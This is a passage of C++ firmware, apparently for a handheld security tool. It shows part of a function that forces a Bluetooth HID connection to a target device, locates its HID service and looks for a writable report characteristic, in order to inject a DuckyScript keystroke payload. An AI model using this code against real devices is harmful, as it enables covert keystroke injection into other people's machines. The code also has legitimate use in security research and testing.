| 1939 | } |
| 1940 | |
| 1941 | bool HIDDuckyService::forceInjectDuckyScript( |
| 1942 | NimBLEAddress target, String script, const String &deviceName, int rssi |
| 1943 | ) { |
| 1944 | AutoCleanup cleanup([]() { BLEStateManager::deinitBLE(true); }); |
| 1945 | |
| 1946 | if (!duckyEngine.loadFromString(script)) { |
| 1947 | showAttackResult(false, "Failed to parse script"); |
| 1948 | return false; |
| 1949 | } |
| 1950 | |
| 1951 | HIDExploitEngine hidExploit; |
| 1952 | HIDConnectionResult connResult; |
| 1953 | |
| 1954 | if (deviceName.isEmpty() || rssi == 0) { |
| 1955 | connResult = hidExploit.forceHIDConnection(target, "Unknown HID Device", -60); |
| 1956 | } else { |
| 1957 | connResult = hidExploit.forceHIDConnection(target, deviceName, rssi); |
| 1958 | } |
| 1959 | |
| 1960 | if (!connResult.success) { |
| 1961 | showAttackResult(false, "Failed to establish HID connection"); |
| 1962 | return false; |
| 1963 | } |
| 1964 | |
| 1965 | String connectionMethod = ""; |
| 1966 | NimBLEClient *pClient = attemptConnectionWithStrategies(target, connectionMethod); |
| 1967 | if (!pClient) { |
| 1968 | showAttackResult(false, "Failed to create client after exploit"); |
| 1969 | return false; |
| 1970 | } |
| 1971 | |
| 1972 | BLEStateManager::registerClient(pClient); |
| 1973 | showAttackProgress("Finding HID service...", TFT_GREEN); |
| 1974 | |
| 1975 | NimBLERemoteService *pHIDService = pClient->getService(NimBLEUUID((uint16_t)0x1812)); |
| 1976 | if (!pHIDService) { |
| 1977 | showAttackResult(false, "No HID service found"); |
| 1978 | pClient->disconnect(); |
| 1979 | BLEStateManager::unregisterClient(pClient); |
| 1980 | NimBLEDevice::deleteClient(pClient); |
| 1981 | return false; |
| 1982 | } |
| 1983 | |
| 1984 | NimBLERemoteCharacteristic *pReportChar = nullptr; |
| 1985 | const std::vector<NimBLERemoteCharacteristic *> &chars = pHIDService->getCharacteristics(true); |
| 1986 | for (auto &ch : chars) { |
| 1987 | std::string uuidStr = ch->getUUID().toString(); |
| 1988 | if ((uuidStr.find("2a4d") != std::string::npos || uuidStr.find("2a22") != std::string::npos || |
| 1989 | uuidStr.find("2a32") != std::string::npos) && |
| 1990 | ch->canWrite()) { |
| 1991 | pReportChar = ch; |
| 1992 | break; |
| 1993 | } |
| 1994 | } |
| 1995 | |
| 1996 | if (!pReportChar) { |
| 1997 | showAttackResult(false, "No writable HID characteristic"); |
| 1998 | pClient->disconnect(); |
no test coverage detected